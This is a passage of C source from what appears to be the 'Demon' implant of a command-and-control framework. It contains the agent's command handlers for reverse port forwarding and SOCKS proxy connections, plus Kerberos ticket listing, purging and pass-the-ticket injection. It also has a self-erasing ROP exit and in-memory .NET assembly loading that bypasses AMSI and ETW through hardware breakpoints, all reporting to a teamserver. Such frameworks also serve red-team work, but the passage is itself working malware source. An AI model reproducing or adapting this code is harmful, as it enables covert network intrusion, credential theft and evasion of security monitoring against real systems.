DEMON_COMMAND_TRANSFER_STOP: PUTS( "Transfer::stop" ) { FileID = ParserGetInt32( Parser ); for ( ;; ) { if ( ! Download ) break; if ( Download->FileID == FileID ) { Download->State = DOWNLOAD_STATE_STOPPED; Found = TRUE; PRINTF( "Found download (%x) and stopped it.\n", Download->FileID ) break; } Download = Download->Next; } PackageAddInt32( Package, Found ); PackageAddInt32( Package, FileID ); break; } case DEMON_COMMAND_TRANSFER_RESUME: PUTS( "Transfer::resume" ) { FileID = ParserGetInt32( Parser ); for ( ;; ) { if ( ! Download ) break; if ( Download->FileID == FileID ) { Download->State = DOWNLOAD_STATE_RUNNING; Found = TRUE; PRINTF( "Found download (%x) and stopped it.\n", Download->FileID ) break; } Download = Download->Next; } /* Tell us if we managed to find and resume the download */ PackageAddInt32( Package, Found ); PackageAddInt32( Package, FileID ); break; } case DEMON_COMMAND_TRANSFER_REMOVE: PUTS( "Transfer::remove" ) { FileID = ParserGetInt32( Parser ); for ( ;; ) { if ( ! Download ) break; if ( Download->FileID == FileID ) { Download->State = DOWNLOAD_STATE_REMOVE; Found = TRUE; PRINTF( "Found download (%x) and stopped it.\n", Download->FileID ) break; } Download = Download->Next; } /* Tell us if we managed to find and resume the download */ PackageAddInt32( Package, Found ); PackageAddInt32( Package, FileID ); /* Tell the server to close the file. Only if we found the download */ if ( Found ) { PPACKAGE Package2 = PackageCreate( DEMON_COMMAND_TRANSFER ); PackageAddInt32( Package2, Command ); PackageAddInt32( Package2, FileID ); PackageAddInt32( Package2, DOWNLOAD_REASON_REMOVED ); PackageTransmit( Package2 ); Package2 = NULL; } break; } } PackageTransmit( Package ); } VOID CommandSocket( PPARSER Parser ) { PPACKAGE Package = NULL; PSOCKET_DATA Socket = NULL; DWORD Command = 0; Package = PackageCreate( DEMON_COMMAND_SOCKET ); Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case SOCKET_COMMAND_RPORTFWD_ADD: PUTS( "Socket::RPortFwdAdd" ) { DWORD LclAddr = 0; DWORD LclPort = 0; DWORD FwdAddr = 0; DWORD FwdPort = 0; // TODO: add support for IPv6 /* Parse Host and Port to bind to */ LclAddr = ParserGetInt32( Parser ); LclPort = ParserGetInt32( Parser ); /* Parse Host and Port to forward port to */ FwdAddr = ParserGetInt32( Parser ); FwdPort = ParserGetInt32( Parser ); /* Create a reverse port forward socket and insert it into the linked list. */ Socket = SocketNew( 0, SOCKET_TYPE_REVERSE_PORTFWD, TRUE, LclAddr, NULL, LclPort, FwdAddr, FwdPort, 0 ); /* if Socket is not NULL then we managed to start a socket. */ PackageAddInt32( Package, Socket ? TRUE : FALSE ); PackageAddInt32( Package, Socket ? Socket->ID : 0 ); /* Add our Bind Host & Port data */ PackageAddInt32( Package, LclAddr ); PackageAddInt32( Package, LclPort ); /* Add our Forward Host & Port data */ PackageAddInt32( Package, FwdAddr ); PackageAddInt32( Package, FwdPort ); break; } case SOCKET_COMMAND_RPORTFWD_LIST: PUTS( "Socket::RPortFwdList" ) { Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD ) { PackageAddInt32( Package, Socket->ID ); /* Add our Bind Host & Port data */ PackageAddInt32( Package, Socket->IPv4 ); PackageAddInt32( Package, Socket->LclPort ); /* Add our Forward Host & Port data */ PackageAddInt32( Package, Socket->FwdAddr ); PackageAddInt32( Package, Socket->FwdPort ); } Socket = Socket->Next; } break; } case SOCKET_COMMAND_RPORTFWD_REMOVE: PUTS( "Socket::RPortFwdRemove" ) { DWORD SocketID = 0; SocketID = ParserGetInt32( Parser ); Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD && Socket->ID == SocketID ) { Socket->ShouldRemove = TRUE; } else if ( Socket->Type == SOCKET_TYPE_CLIENT && Socket->ParentID == SocketID ) { Socket->ShouldRemove = TRUE; } Socket = Socket->Next; } /* we don't want to send the message now. * send it while we are free and closing the socket. */ PackageDestroy( Package ); Package = NULL; return; } case SOCKET_COMMAND_RPORTFWD_CLEAR: PUTS( "Socket::RPortFwdClear" ) { Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD || Socket->Type == SOCKET_TYPE_CLIENT ) Socket->ShouldRemove = TRUE; Socket = Socket->Next; } /* we don't want to send the message now. * send it while we are free and closing the sockets. */ PackageDestroy( Package ); Package = NULL; return; } case SOCKET_COMMAND_SOCKSPROXY_ADD: PUTS( "Socket::SocksProxyAdd" ) { /* TODO: implement */ break; } case SOCKET_COMMAND_WRITE: PUTS( "Socket::Write" ) { DWORD SocketID = 0; BUFFER Data = { 0 }; BOOL Success = FALSE; DWORD Type = SOCKET_TYPE_NONE; /* Parse arguments */ SocketID = ParserGetInt32( Parser ); Data.Buffer = ParserGetBytes( Parser, &Data.Length ); /* get Sockets list */ Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) { PRINTF( "Could not find socket: %x\n", SocketID ) break; } if ( Socket->ShouldRemove ) { Socket = Socket->Next; continue; } if ( Socket->ID == SocketID ) { Type = Socket->Type; /* write the data to the socket */ if ( Instance->Win32.send( Socket->Socket, Data.Buffer, Data.Length, 0 ) != SOCKET_ERROR ) { PRINTF( "Sent 0x%x bytes to Socket %x\n", Data.Length, SocketID ) Success = TRUE; } else { PRINTF( "Sending 0x%x bytes to Socket %x failed with %d\n", Data.Length, SocketID, Instance->Win32.WSAGetLastError() ); } break; } Socket = Socket->Next; } if ( Success ) { /* destroy the package and exit this command function */ PackageDestroy( Package ); Package = NULL; return; } else { /* report the error to the teamserver */ PackageAddInt32( Package, SocketID ); PackageAddInt32( Package, Type ); PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, Instance->Win32.WSAGetLastError() ); } } case SOCKET_COMMAND_CONNECT: PUTS( "Socket::Connect" ) { DWORD ScId = 0; BYTE ATYP = 0; UINT32 HostIpSize = 0; PBYTE HostIp = NULL; BOOL UseIpv4 = TRUE; DWORD IPv4 = 0; PBYTE IPv6 = NULL; INT16 Port = 0; LPSTR Domain = NULL; UINT32 ErrorCode = 0; /* parse arguments */ ScId = ParserGetInt32( Parser ); ATYP = ParserGetByte( Parser ); HostIp = ParserGetBytes( Parser, &HostIpSize ); Port = ParserGetInt16( Parser ); if ( ATYP == 1 ) { // IPv4 IPv4 = 0; IPv4 |= ( HostIp[0] << ( 8 * 0 )); IPv4 |= ( HostIp[1] << ( 8 * 1 )); IPv4 |= ( HostIp[2] << ( 8 * 2 )); IPv4 |= ( HostIp[3] << ( 8 * 3 )); } else if ( ATYP == 3 ) { // DOMAINNAME // make sure there is a nullbyte at the end of the domain Domain = Instance->Win32.LocalAlloc( LPTR, HostIpSize + 1 ); MemCopy( Domain, HostIp, HostIpSize ); IPv4 = DnsQueryIPv4( (LPSTR)Domain ); // if the domain does not have an IPv4, try with IPv6 if ( ! IPv4 ) { IPv6 = DnsQueryIPv6( (LPSTR)Domain ); UseIpv4 = FALSE; } Instance->Win32.LocalFree( Domain ); } else if ( ATYP == 4 ) { // IPv6 IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 ); MemCopy( IPv6, HostIp, 16 ); UseIpv4 = FALSE; } PRINTF( "Socket ID: %x\n", ScId ) /* check if address is not 0 */ if ( IPv4 || IPv6 ) { /* Create a socks proxy socket and insert it into the linked list. */ if ( ( Socket = SocketNew( 0, SOCKET_TYPE_REVERSE_PROXY, UseIpv4, IPv4, IPv6, Port, 0, 0, 0 ) ) ) { Socket->ID = ScId; ErrorCode = 0; } else { ErrorCode = NtGetLastError(); PRINTF( "Connect failed with %d\n", ErrorCode ) } PackageAddInt32( Package, Socket ? TRUE : FALSE ); } else { PRINTF( "Could not resolve domain: %s\n", Domain ); // error code for "Host unreachable" ErrorCode = WSAEHOSTUNREACH; PackageAddInt32( Package, FALSE ); } PackageAddInt32( Package, ScId ); PackageAddInt32( Package, ErrorCode ); if ( IPv6 ) { Instance->Win32.LocalFree( IPv6 ); IPv6 = NULL; } break; } case SOCKET_COMMAND_CLOSE: PUTS( "Socket::Close" ) { DWORD SocketID = 0; /* parse arguments */ SocketID = ParserGetInt32( Parser ); PRINTF( "SocketID: %x\n", SocketID ); /* get Sockets list */ Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->ID == SocketID ) { PRINTF( "Found socket: %x\n", Socket->ID ) Socket->ShouldRemove = TRUE; break; } Socket = Socket->Next; } /* destroy the package and exit this command function */ PackageDestroy( Package ); Package = NULL; return; } default: break; } PackageTransmit( Package ); } VOID CommandKerberos( IN PPARSER Parser ) { PPACKAGE Package = NULL; DWORD Command = 0; HANDLE hToken = TokenCurrentHandle(); Package = PackageCreate( DEMON_COMMAND_KERBEROS ); Command = ParserGetInt32( Parser ); PackageAddInt32( Package, Command ); switch ( Command ) { case KERBEROS_COMMAND_LUID: PUTS("Kerberos::LUID") { LUID* luid = NULL; luid = GetLUID( hToken ); if ( hToken ) { SysNtClose( hToken ); hToken = NULL; } PackageAddInt32( Package, luid ? TRUE : FALSE ); if ( luid ) { PackageAddInt32( Package, luid->HighPart ); PackageAddInt32( Package, luid->LowPart ); MemSet( luid, 0, sizeof( LUID ) ); Instance->Win32.LocalFree( luid ); luid = NULL; } break; } case KERBEROS_COMMAND_KLIST: PUTS("Kerberos::Klist") { DWORD Type = 0; PSESSION_INFORMATION Sessions = NULL; PSESSION_INFORMATION SessionTmp = NULL; DWORD NumSessions = 0; LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; DWORD NumTickets = 0; PTICKET_INFORMATION TicketTmp = NULL; Type = ParserGetInt32( Parser ); // Type 0: /all // Type 1: /luid 0xabc if ( Type == 1 ) { luid.LowPart = ParserGetInt32( Parser ); } Sessions = Klist( hToken, luid ); PackageAddInt32( Package, Sessions ? TRUE : FALSE ); for ( NumSessions = 0, SessionTmp = Sessions; SessionTmp; NumSessions++, SessionTmp = SessionTmp->Next ){} PackageAddInt32( Package, NumSessions ); while ( Sessions ) { SessionTmp = Sessions->Next; PackageAddWString( Package, Sessions->UserName ); PackageAddWString( Package, Sessions->Domain ); PackageAddInt32( Package, Sessions->LogonId.LowPart ); PackageAddInt32( Package, Sessions->LogonId.HighPart ); PackageAddInt32( Package, Sessions->Session ); PackageAddWString( Package, Sessions->UserSID ); PackageAddInt32( Package, Sessions->LogonTime.LowPart ); PackageAddInt32( Package, Sessions->LogonTime.HighPart ); PackageAddInt32( Package, Sessions->LogonType ); PackageAddWString( Package, Sessions->AuthenticationPackage ); PackageAddWString( Package, Sessions->LogonServer ); PackageAddWString( Package, Sessions->LogonServerDNSDomain ); PackageAddWString( Package, Sessions->Upn ); for ( NumTickets = 0, TicketTmp = Sessions->Tickets; TicketTmp; NumTickets++, TicketTmp = TicketTmp->Next ){} PackageAddInt32( Package, NumTickets ); while ( Sessions->Tickets ) { TicketTmp = Sessions->Tickets->Next; PackageAddWString( Package, Sessions->Tickets->ClientName ); PackageAddWString( Package, Sessions->Tickets->ClientRealm ); PackageAddWString( Package, Sessions->Tickets->ServerName ); PackageAddWString( Package, Sessions->Tickets->ServerRealm ); PackageAddInt32( Package, Sessions->Tickets->StartTime.LowPart ); PackageAddInt32( Package, Sessions->Tickets->StartTime.HighPart ); PackageAddInt32( Package, Sessions->Tickets->EndTime.LowPart ); PackageAddInt32( Package, Sessions->Tickets->EndTime.HighPart ); PackageAddInt32( Package, Sessions->Tickets->RenewTime.LowPart ); PackageAddInt32( Package, Sessions->Tickets->RenewTime.HighPart ); PackageAddInt32( Package, Sessions->Tickets->EncryptionType ); PackageAddInt32( Package, Sessions->Tickets->TicketFlags ); PackageAddBytes( Package, Sessions->Tickets->Ticket.Buffer, Sessions->Tickets->Ticket.Length ); if ( Sessions->Tickets->Ticket.Buffer ) { DATA_FREE( Sessions->Tickets->Ticket.Buffer, Sessions->Tickets->Ticket.Length ); } DATA_FREE( Sessions->Tickets, sizeof( TICKET_INFORMATION ) ); Sessions->Tickets = TicketTmp; } DATA_FREE( Sessions, sizeof( SESSION_INFORMATION ) ); Sessions = SessionTmp; } if ( hToken ) { SysNtClose( hToken ); hToken = NULL; } break; } case KERBEROS_COMMAND_PURGE: PUTS("Kerberos::Purge") { LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; luid.LowPart = ParserGetInt32( Parser ); PackageAddInt32( Package, Purge( hToken, luid ) ? TRUE : FALSE ); break; } case KERBEROS_COMMAND_PTT: PUTS("Kerberos::Ptt") { PBYTE Ticket = NULL; UINT32 TicketSize = 0; LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; Ticket = ParserGetBytes( Parser, &TicketSize ); luid.LowPart = ParserGetInt32( Parser ); PackageAddInt32( Package, Ptt( hToken, Ticket, TicketSize, luid ) ? TRUE : FALSE ); break; } default: break; } PackageTransmit( Package ); } VOID CommandMemFile( PPARSER Parser ) { PPACKAGE Package = NULL; ULONG32 ID = 0; BUFFER Data = { 0 }; SIZE_T Size = 0; PMEM_FILE MemFile = NULL; Package = PackageCreate( DEMON_COMMAND_MEM_FILE ); PUTS("MemFile") ID = ParserGetInt32( Parser ); Size = ParserGetInt64( Parser ); Data.Buffer = ParserGetBytes( Parser, &Data.Length ); // TODO: handle out of order packets? MemFile = ProcessMemFileChunk( ID, Size, Data.Buffer, Data.Length ); PackageAddInt32( Package, ID ); PackageAddInt32( Package, MemFile != NULL ? TRUE : FALSE ); PackageTransmit( Package ); } BOOL InWorkingHours( ) { SYSTEMTIME SystemTime = { 0 }; UINT32 WorkingHours = Instance->Config.Transport.WorkingHours; WORD StartHour = 0; WORD StartMinute = 0; WORD EndHour = 0; WORD EndMinute = 0; // if WorkingHours is not set, return TRUE if ( ( ( WorkingHours >> 22 ) & 1 ) == 0 ) return TRUE; StartHour = ( WorkingHours >> 17 ) & 0b011111; StartMinute = ( WorkingHours >> 11 ) & 0b111111; EndHour = ( WorkingHours >> 6 ) & 0b011111; EndMinute = ( WorkingHours >> 0 ) & 0b111111; Instance->Win32.GetLocalTime(&SystemTime); if ( SystemTime.wHour < StartHour || SystemTime.wHour > EndHour ) return FALSE; if ( SystemTime.wHour == StartHour && SystemTime.wMinute < StartMinute ) return FALSE; if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute ) return FALSE; return TRUE; } BOOL ReachedKillDate() { return Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate; } VOID KillDate( ) { PUTS( "Reached KillDate" ) /* Send our last message to our server... * "They say time is the fire in which we burn. * Right now, Captain, my time is running out." */ PPACKAGE Package = PackageCreate( DEMON_KILL_DATE ); PackageTransmit( Package ); PackageTransmitAll( NULL, NULL ); CommandExit( NULL ); } // TODO: rewrite this. disconnect all pivots. kill our threads. release memory and free itself. VOID CommandExit( PPARSER Parser ) { PUTS( "Exit" ); /* default is 1 == exit thread. * TODO: make an config that holds the default exit method */ UINT32 ExitMethod = 1; PPACKAGE Package = NULL; CONTEXT RopExit = { 0 }; LPVOID ImageBase = NULL; SIZE_T ImageSize = 0; PJOB_DATA JobList = Instance->Jobs; DWORD JobID = 0; PSOCKET_DATA SocketList = Instance->Sockets; PSOCKET_DATA SocketEntry = NULL; PDOWNLOAD_DATA DownloadList = Instance->Downloads; PDOWNLOAD_DATA DownloadEntry = NULL; PMEM_FILE MemFileList = Instance->MemFiles; PMEM_FILE MemFileEntry = NULL; PPIVOT_DATA SmbPivotList = Instance->SmbPivots; PPIVOT_DATA SmbPivotEntry = NULL; PCOFFEE_KEY_VALUE KeyValueList = Instance->CoffeKeyValueStore; PCOFFEE_KEY_VALUE KeyValueEntry = NULL; if ( Parser ) { /* Send our last message to our server... * "My battery is low, and it’s getting dark." */ Package = PackageCreate( DEMON_EXIT ); ExitMethod = ParserGetInt32( Parser ); PackageAddInt32( Package, ExitMethod ); PackageTransmit( Package ); PackageTransmitAll( NULL, NULL ); } // kill all running jobs for ( ;; ) { if ( ! JobList ) break; JobID = JobList->JobID; JobList = JobList->Next; JobKill( JobID ); } // close all sockets for ( ;; ) { if ( ! SocketList ) break; SocketEntry = SocketList; SocketList = SocketList->Next; if ( SocketEntry->Socket ) { Instance->Win32.closesocket( SocketEntry->Socket ); SocketEntry->Socket = 0; } MemSet( SocketEntry, 0, sizeof( SOCKET_DATA ) ); MmHeapFree( SocketEntry ); } // remove downloads for ( ;; ) { if ( ! DownloadList ) { break; } DownloadEntry = DownloadList; DownloadList = DownloadList->Next; DownloadRemove( DownloadEntry->FileID ); } for ( ;; ) { if ( ! MemFileList ) { break; } MemFileEntry = MemFileList; MemFileList = MemFileList->Next; RemoveMemFile( MemFileEntry->ID ); } // free the DownloadChunk buffer if ( Instance->DownloadChunk.Buffer ) { MmHeapFree( Instance->DownloadChunk.Buffer ); Instance->DownloadChunk.Buffer = NULL; Instance->DownloadChunk.Length = 0; } #ifdef TRANSPORT_HTTP DATA_FREE( Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ); #endif // disconnect from all smb pivots for ( ;; ) { if ( ! SmbPivotList ) { break; } SmbPivotEntry = SmbPivotList; SmbPivotList = SmbPivotList->Next; PivotRemove( SmbPivotEntry->DemonID ); } // free all key/values from COFFs for ( ;; ) { if ( ! KeyValueList ) { break; } KeyValueEntry = KeyValueList; KeyValueList = KeyValueList->Next; DATA_FREE( KeyValueEntry, sizeof( COFFEE_KEY_VALUE ) ); } // stop impersonating TokenImpersonate( FALSE ); // clear all stolen tokens TokenClear(); // terminate the use of the Winsock 2 DLL (Ws2_32.dll) if ( Instance->WSAWasInitialised ) { Instance->Win32.WSACleanup(); } #if TRANSPORT_HTTP // close the HTTP session if ( Instance->hHttpSession ) { Instance->Win32.WinHttpCloseHandle( Instance->hHttpSession ); } #endif #if _WIN64 /* NOTE: * Credit goes to Austin (@ilove2pwn_) for sharing this code with me. * TODO: * Clear memory by using a gadgets that prepares and executes movsb */ ImageBase = Instance->Session.ModuleBase; ImageSize = NULL; RopExit.ContextFlags = CONTEXT_FULL; Instance->Win32.RtlCaptureContext( &RopExit ); RopExit.Rip = U_PTR( Instance->Win32.NtFreeVirtualMemory ); RopExit.Rsp = U_PTR( ( RopExit.Rsp &~ ( 0x1000 - 1 ) ) - 0x1000 ); RopExit.Rcx = U_PTR( NtCurrentProcess() ); RopExit.Rdx = U_PTR( &ImageBase ); RopExit.R8 = U_PTR( &ImageSize ); RopExit.R9 = U_PTR( MEM_RELEASE ); if ( ExitMethod == 1 ) *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserThread ); else if ( ExitMethod == 2 ) *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserProcess ); RopExit.ContextFlags = CONTEXT_FULL; Instance->Win32.NtContinue( &RopExit, FALSE ); #else // TODO: cleanup memory if ( ExitMethod == 1 ) Instance->Win32.RtlExitUserThread( STATUS_SUCCESS ); else if ( ExitMethod == 2 ) Instance->Win32.RtlExitUserProcess( STATUS_SUCCESS ); #endif } ================================================ FILE: payloads/Demon/src/core/Dotnet.c ================================================ #include #include #include #include #include #define PIPE_BUFFER 0x10000 * 5 GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } }; GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } }; GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } }; GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } }; GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } }; GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } }; BOOL AmsiPatched = FALSE; BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) { PPACKAGE PackageInfo = NULL; SAFEARRAYBOUND RgsBound[ 1 ] = { 0 }; BUFFER AssemblyData = { 0 }; LPWSTR* ArgumentsArray = NULL; INT ArgumentsCount = 0; LONG idx[ 1 ] = { 0 }; VARIANT Object = { 0 }; NTSTATUS Status = STATUS_SUCCESS; DWORD ThreadId = 0; HRESULT Result = S_OK; BOOL AmsiIsLoaded = FALSE; if ( ! Assembly.Buffer || ! Assembly.Length ) return FALSE; /* Create a named pipe for our output. try with anon pipes at some point. */ Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW( Instance->Dotnet->PipeName.Buffer, PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER, PIPE_BUFFER, 0, NULL ); if ( ! Instance->Dotnet->Pipe ) { PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32; return FALSE; } if ( ! ( Instance->Dotnet->File = Instance->Win32.CreateFileW( Instance->Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) ) { PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32; return FALSE; } if ( ! Instance->Win32.GetConsoleWindow( ) ) { HWND wnd = NULL; Instance->Win32.AllocConsole( ); if ( ( wnd = Instance->Win32.GetConsoleWindow( ) ) ) Instance->Win32.ShowWindow( wnd, SW_HIDE ); } // // hosting common language runtime // if ( ! ClrCreateInstance( Instance->Dotnet->NetVersion.Buffer, & Instance->Dotnet->MetaHost, & Instance->Dotnet->ClrRuntimeInfo, & Instance->Dotnet->ICorRuntimeHost ) ) { PUTS( "Couldn't start CLR" ) return FALSE; } /* if Amsi/Etw bypass is enabled */ if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { #if _WIN64 PUTS( "Try to patch(less) Amsi/Etw" ) PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID ); PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED ); /* check if Amsi is loaded */ AmsiIsLoaded = TRUE; if ( ! Instance->Modules.Amsi ) { AmsiIsLoaded = RtAmsi(); } PUTS( "Init HwBp Engine" ) /* use global engine */ if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) { return FALSE; } ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread ); /* add Amsi bypass */ if ( AmsiIsLoaded ) { PUTS( "HwBp Engine add AmsiScanBuffer bypass" ) if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) { PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status ) return FALSE; } } /* add Etw bypass */ PUTS( "HwBp Engine add NtTraceEvent bypass" ) if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) { PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status ) return FALSE; } PackageTransmit( PackageInfo ); PackageInfo = NULL; #endif } else if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) { /* todo: add memory patching technique */ } else { /* no patching */ } /* Let the operator know what version we are going to use. */ PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID ); PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION ); PackageAddBytes( PackageInfo, Instance->Dotnet->NetVersion.Buffer, Instance->Dotnet->NetVersion.Length ); PackageTransmit( PackageInfo ); PackageInfo = NULL; RgsBound[ 0 ].cElements = Assembly.Length; RgsBound[ 0 ].lLbound = 0; Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate( VT_UI1, 1, RgsBound ); PUTS( "CreateDomain..." ) if ( ( Result = Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainName.Buffer, NULL, &Instance->Dotnet->AppDomainThunk ) ) ) { PRINTF( "CreateDomain Failed: %x\n", Result ) return FALSE; } PUTS( "QueryInterface..." ) if ( ( Result = Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance->Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance->Dotnet->AppDomain ) ) ) { PRINTF( "QueryInterface Failed: %x\n", Result ) return FALSE; } if ( ( Result = Instance->Win32.SafeArrayAccessData( Instance->Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) { PRINTF( "SafeArrayAccessData Failed: %x\n", Result ) return FALSE; } PUTS( "Copy assembly to buffer..." ) MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length ); if ( ( Result = Instance->Win32.SafeArrayUnaccessData( Instance->Dotnet->SafeArray ) ) ) { PRINTF("SafeArrayUnaccessData Failed: %x\n", Result ) PACKAGE_ERROR_WIN32 } PUTS( "AppDomain Load..." ) if ( ( Result = Instance->Dotnet->AppDomain->lpVtbl->Load_3( Instance->Dotnet->AppDomain, Instance->Dotnet->SafeArray, &Instance->Dotnet->Assembly ) ) ) { PRINTF( "AppDomain Failed: %x\n", Result ) return FALSE; } PUTS( "Assembly EntryPoint..." ) if ( ( Result = Instance->Dotnet->Assembly->lpVtbl->EntryPoint( Instance->Dotnet->Assembly, &Instance->Dotnet->MethodInfo ) ) ) { PRINTF( "Assembly EntryPoint Failed: %x\n", Result ) return FALSE; } Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main() ArgumentsArray = Instance->Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount ); ArgumentsArray++; ArgumentsCount--; Instance->Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR ); Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount ); for ( LONG i = 0; i < ArgumentsCount; i++ ) { if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->vtPsa.parray, &i, Instance->Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) { PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result ) return FALSE; } } if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->MethodArgs, idx, &Instance->Dotnet->vtPsa ) ) ) { PRINTF( "SafeArrayPutElement Failed: %x\n", Result ) return FALSE; } Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE ); Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance->Dotnet->File ); if ( ( Result = Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance->Dotnet->MethodInfo, Object, Instance->Dotnet->MethodArgs, &Instance->Dotnet->Return ) ) ) { PRINTF( "Invoke Assembly Failed: %x\n", Result ) return FALSE; } Instance->Dotnet->Invoked = TRUE; /* push output */ DotnetPush(); /* * TODO: Finish/Fix this. * It seems like its way to unstable to use this * assembly crashes the agent randomly and dont know why. * Fix this once i get motivated enough or remove this entirely. */ /* PUTS( "Create Thread..." ) MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) ); MemSet( &ClientId, 0, sizeof( CLIENT_ID ) ); ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE ); ThreadAttr.Entry.Size = sizeof( CLIENT_ID ); ThreadAttr.Entry.pValue = &ClientId; ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST ); PUTS( "Creating events..." ) if ( NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { if ( NT_SUCCESS( Instance->Win32.NtCreateThreadEx( &Instance->Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) ) { Instance->Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopInit->ContextFlags = CONTEXT_FULL; if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( Instance->Dotnet->Thread, Instance->Dotnet->RopInit ) ) ) { MemCopy( Instance->Dotnet->RopInvk, 